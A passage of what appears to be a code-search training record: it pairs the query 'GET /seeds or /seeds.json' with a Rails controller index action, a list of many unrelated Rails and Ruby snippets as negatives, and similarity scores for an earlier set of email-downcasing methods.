"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n #self.email = email.downcase\n email.downcase!\n end",
"def downcase_email\n\t\t\tself.email = email.downcase\n\t\tend",
"def downcase_email\n\t\t\tself.email = email.downcase\n\t\tend",
"def downcase_email\n\t\t\tself.email = email.downcase\n\t\tend",
"def downcase_email\n\t\t\tself.email = email.downcase\n\t\tend",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = self.email.delete(' ').downcase\n end",
"def lower_email\n self.email.downcase!\n self.name.downcase!\n end",
"def downcase_email\n unless self.email == nil\n self.email = email.downcase\n end\n end",
"def downcase_email\n self.email=email.downcase\n end",
"def scrub_email_address\n self.email_address.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end"
] |
[
"0.8380517",
"0.8339932",
"0.8242504",
"0.82153374",
"0.82153374",
"0.82153374",
"0.82153374",
"0.8192566",
"0.8161937",
"0.8131639",
"0.8121609",
"0.8112856",
"0.80987734",
"0.80987734",
"0.80987734",
"0.80724174",
"0.7995695",
"0.79493546",
"0.79492545",
"0.7946815",
"0.7941056",
"0.79397255",
"0.79375124",
"0.7910245",
"0.7910245",
"0.7910245",
"0.7910245",
"0.789384",
"0.78903323",
"0.78903323",
"0.78791744",
"0.78744006",
"0.78732336",
"0.78732336",
"0.78732336",
"0.78732336",
"0.78732336",
"0.7870142",
"0.78699356",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78521395",
"0.78515804",
"0.7851243",
"0.7849554",
"0.7842238",
"0.7842238",
"0.7842238",
"0.7842238",
"0.784156",
"0.784156",
"0.7838761",
"0.78177863",
"0.78153497",
"0.776998",
"0.77623004",
"0.7757589",
"0.7742339"
] |
0.80567265
|
19
|
GET /seeds or /seeds.json
|
def index
@seeds = Seed.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n if params[:search].present?\n @seeds = Seed.order(:catalog_number).basic_search(params[:search]).page(params[:page])\n else\n @seeds = Seed.order(:catalog_number).page params[:page]\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @seeds }\n end\n end",
"def index\n @needed_seeds = current_user.needed_seeds\n end",
"def show\n @seed = Seed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @seed }\n end\n end",
"def get_uri_seeds()\n return @uri_seeds\n end",
"def seed\n get(path: 'wallet/seed')\n end",
"def generate_seed(objectType, id)\n return @client.raw(\"get\", \"/helpers/seeds/#{objectType}/#{id}\")\n end",
"def new\n @seed = Seed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seed }\n end\n end",
"def generate_seed(object_type, id)\n @client.raw('get', \"/helpers/seeds/#{object_type}/#{id}\")\n end",
"def create\n @seed = Seed.new(params[:seed])\n\n respond_to do |format|\n if @seed.save\n format.html { redirect_to @seed, notice: 'Seed was successfully created.' }\n format.json { render json: @seed, status: :created, location: @seed }\n else\n format.html { render action: \"new\" }\n format.json { render json: @seed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @title =\"DreamKit | 꿈이 현실이 되는 공간\"\n @description =\"혼자 꾸는 꿈은 꿈일 뿐이지만, 함께 꾸는 꿈은 현실이 된다. 다양한 꿈을 가진 사람들과 함께 계획하고 실천하는 공간. 누구나 이루고 싶은 목표를 시드로 만들어 공유-참여-응원하여 모두의 꿈을 실현하는 열린 커뮤니티\"\n @revisit_after = \"1 days\"\n if params[:search]\n @search = Seed.search do\n fulltext params[:search]\n paginate(:page => params[:page], :per_page => 20)\n end\n @seeds = @search.results\n else\n @seeds = Seed.order(\"id\").page(params[:page]).per_page(20)\n end\n @seed = Seed.new\n end",
"def create\n @seed = Seed.new(seed_params)\n\n respond_to do |format|\n if @seed.save\n format.html { redirect_to @seed, notice: \"Seed was successfully created.\" }\n format.json { render :show, status: :created, location: @seed }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @seed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_seed\n @seed = Seed.find(params[:id])\n end",
"def externalRecipeSeed\n 20.times do\n api_recipe = get_random_recipe()\n createRecipeFromAPI(api_recipe)\n end\nend",
"def index\n info = Aws.get_recipes_from_db\n render :json => info\n end",
"def list_all_shards(args = {}) \n get(\"/shards.json/\", args)\nend",
"def index\n\n if param? params[:random]\n\n @citation = Citation.order(\"RANDOM()\").first\n\n render json: @citation \n\n else\n\n @citations = Citation.all\n\n render json: @citations\n\n end\n end",
"def load_all_seeds\n puts \"Loading db/seeds/*\"\n Dir[File.join(Rails.root, 'db', 'seeds', '*.rb')].sort.each { |seed| load seed }\nend",
"def show\n response = Aws.list_recipe(params[:id])\n render :json => response\n end",
"def index\n @breeds = Breed.all\n\n render json: @breeds\n end",
"def seed\n establish_connection(\n database_yaml_path: options.fetch('database_yaml'),\n environment: options.fetch('environment')\n )\n\n load_seeds\n end",
"def list\n get('/')\n end",
"def set_uri_seeds(value)\n @uri_seeds = value\n end",
"def seed\n # get csv url from user\n @csv_url = params[:csv_url]\n @page_string = \"\"\n \n #functionality for user to input csv URL\n # require 'open-uri'\n # open(@csv_url) do |f|\n # @page_string = f.read\n # end\n \n # File.open('db/seeds_data/products.csv', 'w') do |file|\n # file << @page_string\n # end\n\n Rails.application.load_seed\n end",
"def index\n @restaurants = Restaurant.order('RANDOM()').limit(15)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @restaurants }\n end\n end",
"def index\n @breeds = Breed.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @breeds }\n end\n end",
"def index\n get('')\n end",
"def destroy\n @seed = Seed.find(params[:id])\n @seed.destroy\n\n respond_to do |format|\n format.html { redirect_to seeds_url }\n format.json { head :no_content }\n end\n end",
"def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end",
"def index\n @eds = Ed.all\n end",
"def index\n @feed = Feed.new\n @feeds = Feed.all :order => :title\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @feeds }\n end\n end",
"def random\n Client.get(\"/colors/random\")\n end",
"def better_seeds_query\n data = House.plants.includes(:seeds)\n all_seeds = []\n\n data.each do |plant|\n all_seeds.push(plant.seeds)\n end\n\n all_seeds\n\n end",
"def index # public\n if params[:shelter_id]\n set_shelter\n render json: @shelter.animals\n else\n @animals = Animal.includes(:shelter).all\n render 'index.json.jbuilder'\n end\n end",
"def index\n @randomisation_entries = RandomisationEntry.all\n end",
"def fetch_experiment(id)\n url = @base + \"experiments/#{id}.json?token=#{@token}\"\n puts url\n response = JSON.parse(RestClient.get(url))\nend",
"def demo(id)\n get_record \"/demos/#{id}\"\n end",
"def index\n @recipes = Recipe.all\n render json: @recipes\n end",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end",
"def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end",
"def random\n Client.get(\"/patterns/random\")\n end",
"def demos\n get_records \"demo\", \"/demos\"\n end",
"def index\n render json: Recipe.all\n end",
"def index\n @shards = Shard.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shards }\n end\n end",
"def index\n @generator = Generator.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @generator }\n end\n end",
"def index\n @electors = Elector.all\n\n render json: @electors\n end",
"def show\n recipe = Recipe.find(params[:id])\n # recipes = Recipe.find_by(params[:id])\n # render json: recipe\n render json: recipe\n end",
"def index\n weathers = Weather.all\n render json: weathers, status: 200\n end",
"def index\n @gets = Get.all\n end",
"def index\n # sleep 3 # simulate a slow connection\n render json: Secret.all.reverse\n end",
"def index\n @feeds = Feed.all\n end",
"def index\n @feeds = Feed.all\n end",
"def index\n @feeds = Feed.all\n end",
"def index\n @feeds = Feed.all\n end",
"def index\n @feeds = Feed.all\n end",
"def index\n respond_to do |format|\n format.html do \n @sites = Site.all\n end\n format.json do\n render json: Site.all\n end\n end\n end",
"def seed_db\n\n # Grab login page\n @agent.get(@@server + @@standings) do |login_page|\n \n # Login and fetch the standings page\n standings_page = do_login(login_page)\n \n # Get a link to a random bracket (the first one)\n bracket_link = \"\"\n standings_page.links.each do |link|\n next unless /(#{@@server})\\/(brackets)\\/\\d+\\/\\d+/.match(link.href)\n bracket_link = link.href\n break\n end\n\n # Pull in the regions, teams, and games from the bracket page and store them in the DB\n scrape_data_and_create_records(bracket_link)\n\n end \n\n end",
"def index\n @dogs = Dog.all\n render json: @dogs, each_serializer: DogSerializer, root: 'dogs'\n end",
"def index\n @empskeds = Empsked.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @empskeds }\n end\n end",
"def index\n @episodes = Episode.all\n\n render json: @episodes\n end",
"def index\n @site_setups = SiteSetup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @site_setups }\n end\n end",
"def index\n # GET /articles\n @articles = Article.all\n end",
"def index\n\n @posts = Post.all\n\n render json: @posts, status: 200\n end",
"def recipes # /v1/user/:id/recipes (GET)\n recipes = ::Recipe.all\n render json: recipes, :each_serializer => RecipeSmallSerializer, root: false, status: 200\n end",
"def load_seed; end",
"def load_seed; end",
"def index\n @feeds = Feed.all\n @feed = Feed.new\n end",
"def index\n get\n end",
"def seed\n Story.delete_all\n Comment.delete_all\n 20.times do |n|\n story = Story.create!(\n title: Faker::Lorem.sentence,\n url: Faker::Internet.url,\n points: rand(-100..100),\n image: Faker::Avatar.image,\n created_at: Faker::Time.backward(14),\n )\n\n rand(0..10).times do |x|\n comment = story.comments.create!(\n body: Faker::Lorem.paragraph(2),\n points: rand(-100..100),\n )\n\n rand(0..3).times do |y|\n comment.replies.create!(\n body: Faker::Lorem.paragraph(rand(1..9)),\n points: rand(-10..10)\n )\n end\n end\n end\n redirect_to root_path\n end",
"def index\n set_user\n @sites = Site.all\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @sites.to_json }\n end\n end",
"def index\n @states = State.all\n \n render json: @states\n end",
"def index\n @instances = Instance.all\n render json: @instances\n end",
"def seed_with_rest_client\n api = API.new\n raw_event_data = api.get_flatiron_events\n event_data = api.parse_event_information(raw_event_data)\n event_data.each do |event|\n Event.create(event)\n end\nend",
"def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end",
"def index\n redirect_to Showdown.all.sample\n end",
"def index\n if params[:book_id]\n @book = Book.find(params[:book_id])\n recipes = @book.recipes\n render json: RecipeSerializer.new(recipes).to_serialized_json\n else \n recipes = Recipe.all.order(:name)\n render json: RecipeSerializer.new(recipes).to_serialized_json\n end\n end",
"def seed_roles\n\tdata = ActiveSupport::JSON.decode(File.read('db/seeds/roles.json'))\n\tdata.each do |d|\n\t\tRole.create!(d)\n\tend\nend",
"def load_seeds(path = './')\n fullpath = File::expand_path(File::join(LT.env.seed_path,path))\n seedfiles = Dir::glob(File::join(fullpath,'*'+SEED_FILES))\n seedfiles.each do |seedfile|\n load File::expand_path(seedfile)\n end\n end",
"def index\n @exercise_sets = ExerciseSet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercise_sets }\n end\n end",
"def index\n @recipes = Recipe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipes }\n end\n end",
"def index\n @recipes = Recipe.all\n respond_to do |format|\n format.html {}\n format.json { render json: @recipes }\n end\n end",
"def index\n @deseases = Desease.order(:id)\n\n render json: @deseases\n end",
"def destroy\n @seed.destroy\n respond_to do |format|\n format.html { redirect_to seeds_url, notice: \"Seed was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def index\n puts \"Index method called...\"\n @studies = Study.all\n\n # render json: @studies\n end",
"def get\n @dish = Dish.find_by_id(params[:id]) || Dish.find_or_create_by_name(params[:name])\n respond_to do |format|\n format.json { render json: @dish.id }\n end\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def index\n @hearteds = Hearted.all\n end",
"def index\n render json: Story.all\n end",
"def index\n @cities = City.where(state_id: params[:id])\n respond_to do |format|\n format.json { render :json => @cities.to_json }\n end\n end",
"def show\n @scratcher = Scratcher.find(params[:id])\n\n render json: @scratcher\n end",
"def show\n render json: Collection.find(params.require(:id))\n end",
"def show\n @recipe = EdemamApiWrapper.show_recipe(params[:uri])\n end",
"def index\n base_url = 'https://www.googleapis.com/books/v1/volumes?q=fiction&maxResults=20'\n and_key = '&key='\n key = ENV['GOOGLE_BOOKS_API_KEY'] \n googleurl = base_url + and_key + key\n\n response = RestClient.get(googleurl)\n @books = JSON.parse(response)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n\nend",
"def all\n render json: Url.all\n end",
"def show\n\t\trender json:Screencast.find(params[:id])\n\tend",
"def show\n @client_app = ClientApp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @seed }\n end\n end",
"def index\n @supplysites = Supplysite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @supplysites }\n end\n end",
"def index\n render jsonapi: Seances::UseCases::FetchAll.new.call\n end",
"def get_uuids(count=1)\n url = \"#{@couch_db_url}/_uuids\"\n url << \"?count=#{count}\" if count > 1\n\n data = RestClient.get url\n JSON.parse(data)[\"uuids\"]\n end",
"def index\n @secrets = Secret.all\n end",
"def index\n @secrets = Secret.all\n end"
] |
[
"0.6781099",
"0.6659429",
"0.6658523",
"0.6532974",
"0.6425021",
"0.63198483",
"0.6214195",
"0.6133152",
"0.593313",
"0.58999354",
"0.58610153",
"0.5849568",
"0.5771707",
"0.571877",
"0.56403613",
"0.56240684",
"0.5618786",
"0.5613614",
"0.5612905",
"0.5612876",
"0.5569012",
"0.5540673",
"0.55240774",
"0.5481212",
"0.5475231",
"0.5431468",
"0.54305065",
"0.5413588",
"0.5401127",
"0.539852",
"0.53775424",
"0.53722507",
"0.5344593",
"0.5303244",
"0.5292397",
"0.528908",
"0.5287946",
"0.52829224",
"0.52829224",
"0.52692294",
"0.5265895",
"0.52558273",
"0.52545905",
"0.5247928",
"0.5243323",
"0.5236338",
"0.5232387",
"0.52308625",
"0.5227358",
"0.5226185",
"0.5226185",
"0.5226185",
"0.5226185",
"0.5226185",
"0.522237",
"0.52164394",
"0.5197917",
"0.51972824",
"0.5158721",
"0.5155666",
"0.51500624",
"0.5141899",
"0.51373976",
"0.5136363",
"0.5136363",
"0.5135086",
"0.5127242",
"0.51153016",
"0.51098764",
"0.51070243",
"0.51041955",
"0.5098846",
"0.5098758",
"0.50975096",
"0.50974494",
"0.5082782",
"0.5069339",
"0.5067999",
"0.5067383",
"0.5066044",
"0.5062675",
"0.50624955",
"0.5060185",
"0.5058866",
"0.50585765",
"0.5056316",
"0.50537044",
"0.50464576",
"0.5045384",
"0.50446796",
"0.5043341",
"0.5043186",
"0.50427186",
"0.5041663",
"0.50396824",
"0.5037439",
"0.50356895",
"0.5035336",
"0.503303",
"0.503303"
] |
0.70877475
|
0
|
GET /seeds/1 or /seeds/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @seeds = Seed.all\n end",
"def show\n @seed = Seed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @seed }\n end\n end",
"def generate_seed(objectType, id)\n return @client.raw(\"get\", \"/helpers/seeds/#{objectType}/#{id}\")\n end",
"def index\n @needed_seeds = current_user.needed_seeds\n end",
"def get_uri_seeds()\n return @uri_seeds\n end",
"def generate_seed(object_type, id)\n @client.raw('get', \"/helpers/seeds/#{object_type}/#{id}\")\n end",
"def seed\n get(path: 'wallet/seed')\n end",
"def set_seed\n @seed = Seed.find(params[:id])\n end",
"def new\n @seed = Seed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seed }\n end\n end",
"def index\n if params[:search].present?\n @seeds = Seed.order(:catalog_number).basic_search(params[:search]).page(params[:page])\n else\n @seeds = Seed.order(:catalog_number).page params[:page]\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @seeds }\n end\n end",
"def externalRecipeSeed\n 20.times do\n api_recipe = get_random_recipe()\n createRecipeFromAPI(api_recipe)\n end\nend",
"def create\n @seed = Seed.new(params[:seed])\n\n respond_to do |format|\n if @seed.save\n format.html { redirect_to @seed, notice: 'Seed was successfully created.' }\n format.json { render json: @seed, status: :created, location: @seed }\n else\n format.html { render action: \"new\" }\n format.json { render json: @seed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @seed = Seed.new(seed_params)\n\n respond_to do |format|\n if @seed.save\n format.html { redirect_to @seed, notice: \"Seed was successfully created.\" }\n format.json { render :show, status: :created, location: @seed }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @seed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n\n if param? params[:random]\n\n @citation = Citation.order(\"RANDOM()\").first\n\n render json: @citation \n\n else\n\n @citations = Citation.all\n\n render json: @citations\n\n end\n end",
"def destroy\n @seed = Seed.find(params[:id])\n @seed.destroy\n\n respond_to do |format|\n format.html { redirect_to seeds_url }\n format.json { head :no_content }\n end\n end",
"def seed\n establish_connection(\n database_yaml_path: options.fetch('database_yaml'),\n environment: options.fetch('environment')\n )\n\n load_seeds\n end",
"def index\n @title =\"DreamKit | 꿈이 현실이 되는 공간\"\n @description =\"혼자 꾸는 꿈은 꿈일 뿐이지만, 함께 꾸는 꿈은 현실이 된다. 다양한 꿈을 가진 사람들과 함께 계획하고 실천하는 공간. 누구나 이루고 싶은 목표를 시드로 만들어 공유-참여-응원하여 모두의 꿈을 실현하는 열린 커뮤니티\"\n @revisit_after = \"1 days\"\n if params[:search]\n @search = Seed.search do\n fulltext params[:search]\n paginate(:page => params[:page], :per_page => 20)\n end\n @seeds = @search.results\n else\n @seeds = Seed.order(\"id\").page(params[:page]).per_page(20)\n end\n @seed = Seed.new\n end",
"def set_uri_seeds(value)\n @uri_seeds = value\n end",
"def seed\n 1\nend",
"def random\n Client.get(\"/patterns/random\")\n end",
"def load_seed; end",
"def load_seed; end",
"def random\n Client.get(\"/colors/random\")\n end",
"def fetch_experiment(id)\n url = @base + \"experiments/#{id}.json?token=#{@token}\"\n puts url\n response = JSON.parse(RestClient.get(url))\nend",
"def show\n recipe = Recipe.find(params[:id])\n # recipes = Recipe.find_by(params[:id])\n # render json: recipe\n render json: recipe\n end",
"def show\n response = Aws.list_recipe(params[:id])\n render :json => response\n end",
"def get\n @dish = Dish.find_by_id(params[:id]) || Dish.find_or_create_by_name(params[:name])\n respond_to do |format|\n format.json { render json: @dish.id }\n end\n end",
"def seed\n Story.delete_all\n Comment.delete_all\n 20.times do |n|\n story = Story.create!(\n title: Faker::Lorem.sentence,\n url: Faker::Internet.url,\n points: rand(-100..100),\n image: Faker::Avatar.image,\n created_at: Faker::Time.backward(14),\n )\n\n rand(0..10).times do |x|\n comment = story.comments.create!(\n body: Faker::Lorem.paragraph(2),\n points: rand(-100..100),\n )\n\n rand(0..3).times do |y|\n comment.replies.create!(\n body: Faker::Lorem.paragraph(rand(1..9)),\n points: rand(-10..10)\n )\n end\n end\n end\n redirect_to root_path\n end",
"def index\n info = Aws.get_recipes_from_db\n render :json => info\n end",
"def show(id) \n response = request(:get, \"/recipes/#{id}.json\")\n response.first[1]\n end",
"def load_all_seeds\n puts \"Loading db/seeds/*\"\n Dir[File.join(Rails.root, 'db', 'seeds', '*.rb')].sort.each { |seed| load seed }\nend",
"def random\n offset = rand(@ingredients.count)\n render json: @ingredients.offset(offset).first.as_json\n end",
"def demo(id)\n get_record \"/demos/#{id}\"\n end",
"def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end",
"def index\n @contestants = Contestant.all\n\n if @contestants.count > 2\n first_id = @contestants.first.id\n last_id = @contestants.last.id\n winner = rand(first_id..last_id)\n @winner = Contestant.find(winner)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contestants }\n end\n end",
"def destroy\n @seed.destroy\n respond_to do |format|\n format.html { redirect_to seeds_url, notice: \"Seed was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def random \n if params[:random]\n @card = Card.where(:first => params[:random]).sample\n else\n # @card = Card.all.sample\n rand_id = rand(Card.count)\n @card = Card.first(:conditions => ['id >= ?', rand_id])\n end\n\n respond_to do |format|\n format.html #first.html.erb\n format.json { render json: @card }\n end\n end",
"def get_random\n @question = Question.get_random\n\n unless @question\n render json: { error: \"random question can't be found\" }.to_json, status: 404\n end\n end",
"def seed\n # get csv url from user\n @csv_url = params[:csv_url]\n @page_string = \"\"\n \n #functionality for user to input csv URL\n # require 'open-uri'\n # open(@csv_url) do |f|\n # @page_string = f.read\n # end\n \n # File.open('db/seeds_data/products.csv', 'w') do |file|\n # file << @page_string\n # end\n\n Rails.application.load_seed\n end",
"def get_uuids(count=1)\n url = \"#{@couch_db_url}/_uuids\"\n url << \"?count=#{count}\" if count > 1\n\n data = RestClient.get url\n JSON.parse(data)[\"uuids\"]\n end",
"def index\n @restaurants = Restaurant.order('RANDOM()').limit(15)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @restaurants }\n end\n end",
"def seed_name; config[:seed_name]; end",
"def seed; end",
"def show\n render json: Collection.find(params.require(:id))\n end",
"def load_seed\n if(File.exists?(cache_file))\n @seed = MultiJson.load(File.read(cache_file)).to_smash\n else\n @seed = fetch_events\n end\n end",
"def index\n @generator = Generator.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @generator }\n end\n end",
"def show\n @scratcher = Scratcher.find(params[:id])\n\n render json: @scratcher\n end",
"def show\n @client_app = ClientApp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @seed }\n end\n end",
"def random\n @song = Song.where(:user => current_user).sample\n if @song.present?\n respond_to do |format|\n format.html\n format.json { render json: @song }\n end\n else\n respond_to do |format|\n format.html { redirect_to songs_url, notice: 'No Songs created yet.' }\n format.json { head :no_content }\n end\n end\n end",
"def show\n @generator = Generator.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @generator }\n end\n end",
"def show\n @shard = Shard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shard }\n end\n end",
"def load_seeds(path = './')\n fullpath = File::expand_path(File::join(LT.env.seed_path,path))\n seedfiles = Dir::glob(File::join(fullpath,'*'+SEED_FILES))\n seedfiles.each do |seedfile|\n load File::expand_path(seedfile)\n end\n end",
"def update\n respond_to do |format|\n if @seed.update(seed_params)\n format.html { redirect_to @seed, notice: \"Seed was successfully updated.\" }\n format.json { render :show, status: :ok, location: @seed }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @seed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_all_shards(args = {}) \n get(\"/shards.json/\", args)\nend",
"def show\n\n recipe = Recipe.find(params[:id])\n render :json => recipe.to_json\n\n end",
"def random\n random_card = self.class.get('/cards/random')\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def update\n @seed = Seed.find(params[:id])\n\n respond_to do |format|\n if @seed.update_attributes(params[:seed])\n format.html { redirect_to edit_seed_path, notice: 'Seed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @seed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def better_seeds_query\n data = House.plants.includes(:seeds)\n all_seeds = []\n\n data.each do |plant|\n all_seeds.push(plant.seeds)\n end\n\n all_seeds\n\n end",
"def sport(sport_id, **options) = get(\"/sports/#{sport_id}\", **options)",
"def index\n get('')\n end",
"def index\n @breeds = Breed.all\n\n render json: @breeds\n end",
"def set_research_seedbed\n @research_seedbed = ResearchSeedbed.find(params[:id])\n end",
"def show\n @data = @recipe.read(params[:id])\n render json: @data\n end",
"def show\n\t\trender json:Screencast.find(params[:id])\n\tend",
"def db_seed\n # Your code goes here!\nend",
"def dataset\n res = Database.connection.exec(\"SELECT dataset from application_seeds LIMIT 1;\")\n res.getvalue(0, 0)\n rescue PG::Error => e\n e.message =~ /relation \"application_seeds\" does not exist/ ? nil : raise\n end",
"def seed_roles\n\tdata = ActiveSupport::JSON.decode(File.read('db/seeds/roles.json'))\n\tdata.each do |d|\n\t\tRole.create!(d)\n\tend\nend",
"def inspect\n \"#<#{self.class.name}:#{object_id} @seeds=#{seeds.inspect}>\"\n end",
"def show\n simulation = Simulation.retrieve_by_id(params[:id])\n\n render json: simulation\n end",
"def random\n RandomJam.jam(@api_key, @https)\n end",
"def index # public\n if params[:shelter_id]\n set_shelter\n render json: @shelter.animals\n else\n @animals = Animal.includes(:shelter).all\n render 'index.json.jbuilder'\n end\n end",
"def show\n puts params[:id]\n render json: Todo.find(params[:id])\n end",
"def index\n @feed = Feed.new\n @feeds = Feed.all :order => :title\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @feeds }\n end\n end",
"def random(opts = {})\n parse_response(Defcli.read_url(random_url), opts)\n end",
"def get(incoming={})\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :guid => HttpClient::Preconditions.assert_class_or_nil('guid', HttpClient::Helper.to_uuid(opts.delete(:guid)), String),\n :key => HttpClient::Preconditions.assert_class_or_nil('key', opts.delete(:key), String),\n :limit => HttpClient::Preconditions.assert_class_or_nil('limit', opts.delete(:limit), Integer),\n :offset => HttpClient::Preconditions.assert_class_or_nil('offset', opts.delete(:offset), Integer)\n }.delete_if { |k, v| v.nil? }\n @client.request(\"/generators\").with_query(query).get.map { |hash| Apidoc::Models::Generator.new(hash) }\n end",
"def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end",
"def index\n # sleep 3 # simulate a slow connection\n render json: Secret.all.reverse\n end",
"def show\n @study = Study.find(params[:id])\n render json: @study\n end",
"def seed_all\n current_or_create_new_misc\n current_or_create_new_institutions\n current_or_create_new_williams_dining_opps\n current_or_create_new_williams_dining_places\n current_or_create_new_dining_opps\n seed_app_dining_periods\n seed_williams_rss_scraping\nend",
"def random()\n\n @config = params[:config].split(\"/\")\n getCount()\n validateCategories() or return\n\n @namerators = []\n (1..@count).each do\n @namerators.push(Result.new(@config))\n end\n render json: @namerators\n end",
"def get_uuids(count=1)\n url = \"#{COUCHDB_HOST}/_uuids\"\n url << \"?count=#{count}\" if count > 1\n\n data = RestClient.get url\n JSON.parse(data)[\"uuids\"]\n end",
"def show\n @sample_set = SampleSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sample_set }\n end\n end",
"def create_songs\n 5.times do |i|\n url = \"https://stg-resque.hakuapp.com/songs.json?album_id=#{i+1}\"\n uri = URI(url)\n response = Net::HTTP.get(uri)\n songs = JSON.parse(response)\n\n songs.each do |song|\n Song.create!(song.except('id'))\n end\n end\nend",
"def random_pokemon_data\n id = rand(1..807)\n request(\"pokemon/#{id}\")\n end",
"def show\n @taker = Taker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @taker }\n end\n end",
"def recipes # /v1/user/:id/recipes (GET)\n recipes = ::Recipe.all\n render json: recipes, :each_serializer => RecipeSmallSerializer, root: false, status: 200\n end",
"def show\n recipe_id = params[:id].to_i\n @recipe = Recipe.find(recipe_id)\n end",
